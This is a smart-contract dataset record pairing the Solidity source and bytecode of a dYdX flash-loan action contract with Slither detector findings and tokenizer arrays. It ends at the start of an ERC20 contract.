positive uint256 value; } } abstract contract ISoloMargin { struct OperatorArg { address operator; bool trusted; } function ownerSetSpreadPremium( uint256 marketId, Decimal.D256 memory spreadPremium ) public virtual; function getIsGlobalOperator(address operator) public virtual view returns (bool); function getMarketTokenAddress(uint256 marketId) public virtual view returns (address); function ownerSetInterestSetter(uint256 marketId, address interestSetter) public virtual; function getAccountValues(Account.Info memory account) public virtual view returns (Monetary.Value memory, Monetary.Value memory); function getMarketPriceOracle(uint256 marketId) public virtual view returns (address); function getMarketInterestSetter(uint256 marketId) public virtual view returns (address); function getMarketSpreadPremium(uint256 marketId) public virtual view returns (Decimal.D256 memory); function getNumMarkets() public virtual view returns (uint256); function ownerWithdrawUnsupportedTokens(address token, address recipient) public virtual returns (uint256); function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) public virtual; function ownerSetLiquidationSpread(Decimal.D256 memory spread) public virtual; function ownerSetEarningsRate(Decimal.D256 memory earningsRate) public virtual; function getIsLocalOperator(address, address) public virtual view returns (bool); function getAccountPar(Account.Info memory account, uint256 marketId) public virtual view returns (Types.Par memory); function ownerSetMarginPremium( uint256 marketId, Decimal.D256 memory marginPremium ) public virtual; function getMarginRatio() public virtual view returns (Decimal.D256 memory); function getMarketCurrentIndex(uint256 marketId) public virtual view returns (Interest.Index memory); function getMarketIsClosing(uint256 marketId) public virtual view returns (bool); function getRiskParams() public virtual view returns (Storage.RiskParams memory); function getAccountBalances(Account.Info memory account) public virtual view returns (address[] memory, Types.Par[] memory, Types.Wei[] memory); function renounceOwnership() public virtual; function getMinBorrowedValue() public virtual view returns (Monetary.Value memory); function setOperators(OperatorArg[] memory args) public virtual; function getMarketPrice(uint256 marketId) public virtual view returns (address); function owner() public virtual view returns (address); function isOwner() public virtual view returns (bool); function ownerWithdrawExcessTokens(uint256 marketId, address recipient) public virtual returns (uint256); function ownerAddMarket( address token, address priceOracle, address interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium ) public virtual; function operate( Account.Info[] memory accounts, Actions.ActionArgs[] memory actions ) public virtual; function getMarketWithInfo(uint256 marketId) public virtual view returns ( Storage.Market memory, Interest.Index memory, Monetary.Price memory, Interest.Rate memory ); function ownerSetMarginRatio(Decimal.D256 memory ratio) public virtual; function getLiquidationSpread() public virtual view returns (Decimal.D256 memory); function getAccountWei(Account.Info memory account, uint256 marketId) public virtual view returns (Types.Wei memory); function getMarketTotalPar(uint256 marketId) public virtual view returns (Types.TotalPar memory); function getLiquidationSpreadForPair( uint256 heldMarketId, uint256 owedMarketId ) public virtual view returns (Decimal.D256 memory); function getNumExcessTokens(uint256 marketId) public virtual view returns (Types.Wei memory); function getMarketCachedIndex(uint256 marketId) public virtual view returns (Interest.Index memory); function getAccountStatus(Account.Info memory account) public virtual view returns (uint8); function getEarningsRate() public virtual view returns (Decimal.D256 memory); function ownerSetPriceOracle(uint256 marketId, address priceOracle) public virtual; function getRiskLimits() public virtual view returns (Storage.RiskLimits memory); function getMarket(uint256 marketId) public virtual view returns (Storage.Market memory); function ownerSetIsClosing(uint256 marketId, bool isClosing) public virtual; function ownerSetGlobalOperator(address operator, bool approved) public virtual; function transferOwnership(address newOwner) public virtual; function getAdjustedAccountValues(Account.Info memory account) public virtual view returns (Monetary.Value memory, Monetary.Value memory); function getMarketMarginPremium(uint256 marketId) public virtual view returns (Decimal.D256 memory); function getMarketInterestRate(uint256 marketId) public virtual view returns (Interest.Rate memory); } contract DydxFlashLoanBase { using SafeMath for uint256; address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; function _getMarketIdFromTokenAddress(address _solo, address _token) internal view returns (uint256 marketId) { ISoloMargin solo = ISoloMargin(_solo); uint256 numTokenIds = solo.getNumMarkets(); for (uint256 i = 0; i < numTokenIds; i++) { if (solo.getMarketTokenAddress(i) == _token) { return i; } } // if we get this far no id has been found revert("No DyDx market id found for token"); } function _getRepaymentAmountInternal(uint256 amount) internal pure returns (uint256) { // Needs to provide +2 wei to be safe return amount.add(2); } function _getAccountInfo() internal view returns (Account.Info memory) { return Account.Info({owner: address(this), number: 1}); } function _getWithdrawAction( uint256 marketId, uint256 amount, address contractAddr ) internal pure returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data, address contractAddr) internal pure returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: data }); } function _getDepositAction( uint256 marketId, uint256 amount, address contractAddr ) internal pure returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: "" }); } } contract FLDyDx is ActionBase, StrategyData, DydxFlashLoanBase, ReentrancyGuard { using SafeERC20 for IERC20; using TokenUtils for address; string constant ERR_ONLY_DYDX_CALLER = "Caller not dydx"; string constant ERR_SAME_CALLER = "FL taker must be this contract"; string constant ERR_WRONG_PAYBACK_AMOUNT = "Wrong FL payback amount sent"; uint256 public constant DYDX_DUST_FEE = 2; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; FLFeeFaucet public constant flFeeFaucet = FLFeeFaucet(0x47f159C90850D5cE09E21F931d504536840f34b4); /// @dev Function sig of TaskExecutor._executeActionsFromFL() bytes4 public constant CALLBACK_SELECTOR = 0xd6741b9e; bytes32 constant TASK_EXECUTOR_ID = keccak256("TaskExecutor"); /// @inheritdoc ActionBase function executeAction( bytes[] memory _callData, bytes[] memory, uint8[] memory, bytes32[] memory ) public payable override returns (bytes32) { (uint256 amount, address token, address flParamGetterAddr, bytes memory flParamGetterData) = parseInputs(_callData); // if we want to get on chain info about FL params if (flParamGetterAddr != address(0)) { (address[] memory tokens, uint256[] memory amounts, ) = IFLParamGetter(flParamGetterAddr).getFlashLoanParams(flParamGetterData); amount = amounts[0]; token = tokens[0]; } bytes memory taskData = _callData[_callData.length - 1]; uint256 flAmount = _flDyDx(amount, token, abi.encode(taskData, amount, token)); return bytes32(flAmount); } // solhint-disable-next-line no-empty-blocks function executeActionDirect(bytes[] memory _callData) public payable override {} /// @inheritdoc ActionBase function actionType() public pure override returns (uint8) { return uint8(ActionType.FL_ACTION); } //////////////////////////// ACTION LOGIC //////////////////////////// /// @notice Gets a Fl from Dydx and returns back the execution to the action address /// @param _amount Amount of tokens to FL /// @param _token Token address we want to FL /// @param _data Rest of the data we have in the task function _flDyDx( uint256 _amount, address _token, bytes memory _data ) internal returns (uint256) { address payable receiver = address(this); ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(SOLO_MARGIN_ADDRESS, _token); uint256 repayAmount = _getRepaymentAmountInternal(_amount); IERC20(_token).safeApprove(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, _amount, receiver); operations[1] = _getCallAction(_data, receiver); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); solo.operate(accountInfos, operations); logger.Log(address(this), msg.sender, "FLDyDx", abi.encode(_amount, _token)); return _amount; } /// @notice Dydx callback function that formats and calls back TaskExecutor function callFunction( address _initiator, Account.Info memory, bytes memory _data ) public nonReentrant { require(msg.sender == SOLO_MARGIN_ADDRESS, ERR_ONLY_DYDX_CALLER); require(_initiator == address(this), ERR_SAME_CALLER); (bytes memory callData, uint256 amount, address tokenAddr) = abi.decode(_data, (bytes, uint256, address)); (Task memory currTask, address proxy) = abi.decode(callData, (Task, address)); tokenAddr.withdrawTokens(proxy, amount); address payable taskExecutor = payable(registry.getAddr(TASK_EXECUTOR_ID)); // call Action execution IDSProxy(proxy).execute{value: address(this).balance}( taskExecutor, abi.encodeWithSelector(CALLBACK_SELECTOR, currTask, amount) ); // return FL (just send funds to this addr) require(tokenAddr.getBalance(address(this)) == amount, ERR_WRONG_PAYBACK_AMOUNT); flFeeFaucet.my2Wei(tokenAddr); // get extra 2 wei for DyDx fee } function parseInputs(bytes[] memory _callData) public pure returns ( uint256 amount, address token, address flParamGetterAddr, bytes memory flParamGetterData ) { amount = abi.decode(_callData[0], (uint256)); token = abi.decode(_callData[1], (address)); flParamGetterAddr = abi.decode(_callData[2], (address)); flParamGetterData = abi.decode(_callData[3], (bytes)); } // solhint-disable-next-line no-empty-blocks receive() external payable {} }
0x60806040526004361061019a5760003560e01c80639864dcdd116100e1578063cd4709cb1161008a578063e4dde9ab11610064578063e4dde9ab14610299578063e910afb2146103b6578063f24ccbfe146103d8578063f8e2fb00146103ed576101a1565b8063cd4709cb146102e3578063d36b907d1461038c578063d3c2e7ed146103a1576101a1565b8063b20e8004116100bb578063b20e800414610344578063c579d49014610359578063ca5ff78014610379576101a1565b80639864dcdd146102f85780639ce3e9191461030d578063a734f06e1461032f576101a1565b806341c0e1b5116101435780638b4187131161011d5780638b418713146102ae5780638bcb6216146102ce5780638cedca71146102e3576101a1565b806341c0e1b5146102625780636c60c8e3146102775780637b10399914610299576101a1565b80631afd15be116101745780631afd15be14610223578063247492f8146102385780632fa13cb81461024d576101a1565b80630336fd90146101a6578063040141e5146101df5780630f2eee4214610201576101a1565b366101a157005b600080fd5b3480156101b257600080fd5b506101c66101c1366004611bf3565b610402565b6040516101d694939291906125a6565b60405180910390f35b3480156101eb57600080fd5b506101f46104b8565b6040516101d69190612084565b34801561020d57600080fd5b506102166104d0565b6040516101d691906125e2565b610236610231366004611bf3565b6104d5565b005b34801561024457600080fd5b506102166104d8565b34801561025957600080fd5b506102166104dd565b34801561026e57600080fd5b506102366104e2565b34801561028357600080fd5b5061028c6105a3565b6040516101d69190612278565b3480156102a557600080fd5b506101f46105a8565b3480156102ba57600080fd5b506102366102c9366004611a77565b6105c0565b3480156102da57600080fd5b506102166109b2565b3480156102ef57600080fd5b506101f46109b7565b34801561030457600080fd5b506102166109cf565b34801561031957600080fd5b506103226109d4565b6040516101d69190612281565b34801561033b57600080fd5b506101f46109f8565b34801561035057600080fd5b506101f4610a10565b34801561036557600080fd5b50610236610374366004611a37565b610a28565b61028c610387366004611c26565b610b57565b34801561039857600080fd5b506101f4610c97565b3480156103ad57600080fd5b50610216610caf565b3480156103c257600080fd5b506103cb610cb4565b6040516101d691906122ae565b3480156103e457600080fd5b506101f4610ced565b3480156103f957600080fd5b506103cb610d05565b600080600060608460008151811061041657fe5b60200260200101518060200190518101906104319190611d4b565b93508460018151811061044057fe5b602002602001015180602001905181019061045b9190611a1b565b92508460028151811061046a57fe5b60200260200101518060200190518101906104859190611a1b565b91508460038151811061049457fe5b60200260200101518060200190518101906104af9190611d63565b90509193509193565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b608081565b50565b600090565b600081565b336001600160a01b031673ccf3d848e08b94478ed8f46ffead3008faf581fd6001600160a01b031663f851a4406040518163ffffffff1660e01b815260040160206040518083038186803b15801561053957600080fd5b505afa15801561054d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105719190611a1b565b6001600160a01b0316146105a05760405162461bcd60e51b8152600401610597906123c5565b60405180910390fd5b33ff5b600281565b73d6049e1f5f3eff1f921f5532af1a1632ba23929c81565b600260005414156105e35760405162461bcd60e51b815260040161059790612490565b600260005560408051808201909152600f81527f43616c6c6572206e6f7420647964780000000000000000000000000000000000602082015233731e0447b19bb6ecfdae1e4ae1694b0c3659614e4e146106505760405162461bcd60e51b815260040161059791906122ae565b5060408051808201909152601e81527f464c2074616b6572206d757374206265207468697320636f6e7472616374000060208201526001600160a01b03841630146106ae5760405162461bcd60e51b815260040161059791906122ae565b506000806000838060200190518101906106c89190611d96565b925092509250600080848060200190518101906106e59190611def565b90925090506106fe6001600160a01b0384168286610d3e565b506040517f4ccee9b600000000000000000000000000000000000000000000000000000000815260009073d6049e1f5f3eff1f921f5532af1a1632ba23929c90634ccee9b690610772907fcec38b05fe06a488e2de01744d7ff3b8ac89eb607661ed3d7a4b16544d0c7a7290600401612278565b60206040518083038186803b15801561078a57600080fd5b505afa15801561079e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c29190611a1b565b9050816001600160a01b0316631cff79cd478363d6741b9e60e01b878a6040516024016107f09291906124c7565b60408051601f198184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009485161790525160e086901b90921682526108639291600401612101565b6020604051808303818588803b15801561087c57600080fd5b505af1158015610890573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108b59190611d4b565b50846108ca6001600160a01b03861630610e04565b146040518060400160405280601c81526020017f57726f6e6720464c207061796261636b20616d6f756e742073656e74000000008152509061091f5760405162461bcd60e51b815260040161059791906122ae565b506040517fe787764e0000000000000000000000000000000000000000000000000000000081527347f159c90850d5ce09e21f931d504536840f34b49063e787764e90610970908790600401612084565b600060405180830381600087803b15801561098a57600080fd5b505af115801561099e573d6000803e3d6000fd5b505060016000555050505050505050505050565b600181565b73ccf3d848e08b94478ed8f46ffead3008faf581fd81565b607f81565b7fd6741b9e0000000000000000000000000000000000000000000000000000000081565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b7347f159c90850d5ce09e21f931d504536840f34b481565b336001600160a01b031673ccf3d848e08b94478ed8f46ffead3008faf581fd6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7f57600080fd5b505afa158015610a93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab79190611a1b565b6001600160a01b031614610add5760405162461bcd60e51b81526004016105979061238e565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b0384161415610b3e576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610b38573d6000803e3d6000fd5b50610b52565b610b526001600160a01b0384168383610eda565b505050565b6000806000806000610b6889610402565b929650909450925090506001600160a01b03821615610c3a57600080836001600160a01b0316630ae1cc8e846040518263ffffffff1660e01b8152600401610bb091906122ae565b60006040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610c049190810190611b17565b509150915080600081518110610c1657fe5b6020026020010151955081600081518110610c2d57fe5b6020026020010151945050505b60008960018b510381518110610c4c57fe5b602002602001015190506000610c868686848989604051602001610c72939291906122c8565b604051602081830303815290604052610f5d565b96505050505050505b949350505050565b731e0447b19bb6ecfdae1e4ae1694b0c3659614e4e81565b60ff81565b6040518060400160405280601881526020017f57726f6e672072657475726e20696e6465782076616c7565000000000000000081525081565b735c55b921f590a89c1ebe84df170e655a82b6212681565b6040518060400160405280601581526020017f57726f6e672073756220696e6465782076616c7565000000000000000000000081525081565b6000600019821415610d5757610d548430610e04565b91505b6001600160a01b03831615801590610d7857506001600160a01b0383163014155b8015610d8357508115155b15610dfd576001600160a01b03841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610dc557610dc06001600160a01b0385168484610eda565b610dfd565b6040516001600160a01b0384169083156108fc029084906000818181858888f19350505050158015610dfb573d6000803e3d6000fd5b505b5092915050565b60006001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610e3c57506001600160a01b03811631610ed4565b6040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b038416906370a0823190610e81908590600401612084565b60206040518083038186803b158015610e9957600080fd5b505afa158015610ead573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed19190611d4b565b90505b92915050565b610b528363a9059cbb60e01b8484604051602401610ef992919061213f565b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909316929092179091526111c6565b600030731e0447b19bb6ecfdae1e4ae1694b0c3659614e4e82610f808287611255565b90506000610f8d8861139b565b9050610fb76001600160a01b038816731e0447b19bb6ecfdae1e4ae1694b0c3659614e4e836113b0565b60408051600380825260808201909252600091816020015b610fd7611677565b815260200190600190039081610fcf579050509050610ff7838a876113ef565b8160008151811061100457fe5b6020026020010181905250611019878661147a565b8160018151811061102657fe5b602002602001018190525061103c8383306114ec565b8160028151811061104957fe5b6020908102919091010152604080516001808252818301909252600091816020015b6110736116c9565b81526020019060019003908161106b579050509050611090611527565b8160008151811061109d57fe5b60209081029190910101526040517fa67a6a450000000000000000000000000000000000000000000000000000000081526001600160a01b0386169063a67a6a45906110ef9084908690600401612158565b600060405180830381600087803b15801561110957600080fd5b505af115801561111d573d6000803e3d6000fd5b50505050735c55b921f590a89c1ebe84df170e655a82b621266001600160a01b031663d061ce5030338d8d60405160200161115992919061258f565b6040516020818303038152906040526040518463ffffffff1660e01b815260040161118693929190612098565b600060405180830381600087803b1580156111a057600080fd5b505af11580156111b4573d6000803e3d6000fd5b509b9c9b505050505050505050505050565b600061121b826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166115479092919063ffffffff16565b805190915015610b5257808060200190518101906112399190611d2b565b610b525760405162461bcd60e51b815260040161059790612433565b6000808390506000816001600160a01b031663295c39a56040518163ffffffff1660e01b815260040160206040518083038186803b15801561129657600080fd5b505afa1580156112aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ce9190611d4b565b905060005b8181101561138257846001600160a01b0316836001600160a01b031663062bd3e9836040518263ffffffff1660e01b81526004016113119190612278565b60206040518083038186803b15801561132957600080fd5b505afa15801561133d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113619190611a1b565b6001600160a01b0316141561137a579250610ed4915050565b6001016112d3565b5060405162461bcd60e51b815260040161059790612331565b60006113a8826002611556565b90505b919050565b6113d08363095ea7b360e01b846000604051602401610ef9929190612123565b610b528363095ea7b360e01b8484604051602401610ef992919061213f565b6113f7611677565b604080516101008101825260018152600060208083018290528351608081018552828152929384019291908201905b81526020016000815260200186815250815260200185815260200160008152602001836001600160a01b03168152602001600081526020016040518060200160405280600081525081525090509392505050565b611482611677565b50604080516101008101825260088152600060208083018290528351608080820186528382529181018390528085018390526060808201849052948401529282018190529181018290526001600160a01b0390921660a083015260c082015260e081019190915290565b6114f4611677565b60408051610100810182526000808252602080830182905283516080810185526001815292938401929190820190611426565b61152f6116c9565b50604080518082019091523081526001602082015290565b6060610c8f848460008561157b565b600082820183811015610ed15760405162461bcd60e51b8152600401610597906122fa565b60606115868561163e565b6115a25760405162461bcd60e51b8152600401610597906123fc565b600080866001600160a01b031685876040516115be9190612068565b60006040518083038185875af1925050503d80600081146115fb576040519150601f19603f3d011682016040523d82523d6000602084013e611600565b606091505b50915091508115611614579150610c8f9050565b8051156116245780518082602001fd5b8360405162461bcd60e51b815260040161059791906122ae565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590610c8f575050151592915050565b6040805161010081018252600080825260208201529081016116976116e0565b8152602001600081526020016000815260200160006001600160a01b0316815260200160008152602001606081525090565b604080518082019091526000808252602082015290565b604080516080810190915260008082526020820190815260200160008152602001600081525090565b80516113ab8161268e565b600082601f830112611724578081fd5b8151602061173961173483612614565b6125f0565b82815281810190858301855b858110156117bd578151880189603f82011261175f578788fd5b8581015161176f61173482612614565b81815287810190604084018b5b848110156117a6576117948f604084518901016119d8565b8452928a0192908a019060010161177c565b505087525050509284019290840190600101611745565b5090979650505050505050565b600082601f8301126117da578081fd5b815160206117ea61173483612614565b82815281810190858301855b858110156117bd578151880189603f820112611810578788fd5b85810151604061182261173483612614565b828152888101908483018a8502860184018f101561183e578c8dfd5b8c95505b8486101561186c5780519350611857846126a3565b83835260019590950194918a01918a01611842565b5088525050509385019350908401906001016117f6565b600082601f830112611893578081fd5b813560206118a361173483612614565b82815281810190858301838502870184018810156118bf578586fd5b855b858110156117bd578135845292840192908401906001016118c1565b600082601f8301126118ed578081fd5b815160206118fd61173483612614565b8281528181019085830183850287018401881015611919578586fd5b855b858110156117bd5781518452928401929084019060010161191b565b600082601f830112611947578081fd5b8135602061195761173483612614565b82815281810190858301855b858110156117bd5761197a898684358b010161198c565b84529284019290840190600101611963565b600082601f83011261199c578081fd5b81356119aa61173482612632565b8181528460208386010111156119be578283fd5b816020850160208301379081016020019190915292915050565b600082601f8301126119e8578081fd5b81516119f661173482612632565b818152846020838601011115611a0a578283fd5b610c8f826020830160208701612654565b600060208284031215611a2c578081fd5b8151610ed18161268e565b600080600060608486031215611a4b578182fd5b8335611a568161268e565b92506020840135611a668161268e565b929592945050506040919091013590565b60008060008385036080811215611a8c578182fd5b8435611a978161268e565b93506040601f1982011215611aaa578182fd5b506040516040810167ffffffffffffffff8282108183111715611ac957fe5b8160405260208701359150611add8261268e565b8183526040870135602084015291935060608601359180831115611aff578384fd5b5050611b0d8682870161198c565b9150509250925092565b600080600060608486031215611b2b578081fd5b835167ffffffffffffffff80821115611b42578283fd5b818601915086601f830112611b55578283fd5b81516020611b6561173483612614565b82815281810190858301838502870184018c1015611b81578788fd5b8796505b84871015611bac578051611b988161268e565b835260019690960195918301918301611b85565b5091890151919750909350505080821115611bc5578283fd5b611bd1878388016118dd565b93506040860151915080821115611be6578283fd5b50611b0d868287016118dd565b600060208284031215611c04578081fd5b813567ffffffffffffffff811115611c1a578182fd5b610c8f84828501611937565b60008060008060808587031215611c3b578182fd5b843567ffffffffffffffff80821115611c52578384fd5b611c5e88838901611937565b9550602091508187013581811115611c74578485fd5b611c8089828a01611937565b955050604087013581811115611c94578485fd5b8701601f81018913611ca4578485fd5b8035611cb261173482612614565b81815284810190838601868402850187018d1015611cce578889fd5b8894505b83851015611cf9578035611ce5816126a3565b835260019490940193918601918601611cd2565b5096505050506060870135915080821115611d12578283fd5b50611d1f87828801611883565b91505092959194509250565b600060208284031215611d3c578081fd5b81518015158114610ed1578182fd5b600060208284031215611d5c578081fd5b5051919050565b600060208284031215611d74578081fd5b815167ffffffffffffffff811115611d8a578182fd5b610c8f848285016119d8565b600080600060608486031215611daa578081fd5b835167ffffffffffffffff811115611dc0578182fd5b611dcc868287016119d8565b935050602084015191506040840151611de48161268e565b809150509250925092565b60008060408385031215611e01578182fd5b825167ffffffffffffffff80821115611e18578384fd5b9084019060a08287031215611e2b578384fd5b611e3560a06125f0565b825182811115611e43578586fd5b611e4f888286016119d8565b825250602083015182811115611e63578586fd5b611e6f88828601611714565b602083015250604083015182811115611e86578586fd5b611e9288828601611714565b604083015250606083015182811115611ea9578586fd5b611eb5888286016118dd565b606083015250608083015182811115611ecc578586fd5b611ed8888286016117ca565b6080830152509350611eef91505060208401611709565b90509250929050565b6001600160a01b03169052565b6000815180845260208085018081965082840281019150828601855b85811015611f8a578284038952815180518086529086019086860190878102870188018a5b82811015611f7457601f19898303018452611f62828651612005565b948a0194938a01939150600101611f46565b509b88019b965050509185019150600101611f21565b5091979650505050505050565b6000815180845260208085018081965082840281019150828601855b85811015611f8a578284038952815180518086529086019086860190895b81811015611ff057835160ff1683529288019291880191600101611fd1565b50509986019994505090840190600101611fb3565b6000815180845261201d816020860160208601612654565b601f01601f19169290920160200192915050565b805115158252602081015161204581612684565b6020830152604081015161205881612684565b6040830152606090810151910152565b6000825161207a818460208701612654565b9190910192915050565b6001600160a01b0391909116815260200190565b60006001600160a01b03808616835280851660208401525060806040830152600660808301527f464c44794478000000000000000000000000000000000000000000000000000060a083015260c060608301526120f860c0830184612005565b95945050505050565b60006001600160a01b038416825260406020830152610c8f6040830184612005565b6001600160a01b0392909216825260ff16602082015260400190565b6001600160a01b03929092168252602082015260400190565b6040808252835182820181905260009190606090818501906020808901865b838110156121a557815180516001600160a01b03168652830151838601529386019390820190600101612177565b5050868303818801528751808452818401925080820284018201898301885b8381101561226757601f1987840301865281516101608151600981106121e657fe5b855281870151878601528a8201516122008c870182612031565b508982015160c081818801526080840151915060e0828189015260a0850151925061222f610100890184611ef8565b90840151610120880152909201516101408601829052915061225381860183612005565b9787019794505050908401906001016121c4565b50909b9a5050505050505050505050565b90815260200190565b7fffffffff0000000000000000000000000000000000000000000000000000000091909116815260200190565b6000602082526122c16020830184612005565b9392505050565b6000606082526122db6060830186612005565b90508360208301526001600160a01b0383166040830152949350505050565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f4e6f2044794478206d61726b657420696420666f756e6420666f7220746f6b6560408201527f6e00000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526014908201527f6d73672e73656e646572206e6f74206f776e6572000000000000000000000000604082015260600190565b60208082526014908201527f6d73672e73656e646572206e6f742061646d696e000000000000000000000000604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b600060408252835160a060408401526124e360e0840182612005565b9050602080860151603f19808685030160608701526125028483611f05565b9350604088015191508086850301608087015261251f8483611f05565b6060890151878203830160a089015280518083529085019550869350908401905b808410156125605785518252948401946001939093019290840190612540565b5060808901519450818782030160c088015261257c8186611f97565b9550505050848185015250509392505050565b9182526001600160a01b0316602082015260400190565b60008582526001600160a01b038086166020840152808516604084015250608060608301526125d86080830184612005565b9695505050505050565b60ff91909116815260200190565b60405181810167ffffffffffffffff8111828210171561260c57fe5b604052919050565b600067ffffffffffffffff82111561262857fe5b5060209081020190565b600067ffffffffffffffff82111561264657fe5b50601f01601f191660200190565b60005b8381101561266f578181015183820152602001612657565b8381111561267e576000848401525b50505050565b600281106104d557fe5b6001600160a01b03811681146104d557600080fd5b60ff811681146104d557600080fdfea2646970667358221220ac73bbad3defff35f5d1586d090626227eff728c81915124ee035c12b6b578e764736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 14142, 26187, 28154, 2683, 3676, 3540, 22394, 11329, 2683, 3540, 2094, 22407, 21926, 2581, 10790, 2546, 17134, 16703, 2094, 2475, 2497, 2581, 17914, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1021, 1012, 1020, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 10061, 3206, 24011, 21338, 13910, 2923, 2854, 1063, 3853, 2131, 4215, 13626, 1006, 27507, 16703, 1035, 8909, 1007, 2270, 3193, 7484, 5651, 1006, 4769, 1007, 1025, 3853, 5587, 2638, 16526, 12162, 22648, 2102, 1006, 27507, 16703, 1035, 8909, 1010, 4769, 1035, 3206, 4215, 13626, 1010, 21318, 3372, 17788, 2575, 1035, 3524, 4842, 3695, 2094, 1007, 2270, 7484, 1025, 3853, 2707, 8663, 6494, 6593, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,693
0x97307c1e691e59bbb0bf642fdce8908894916889
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() 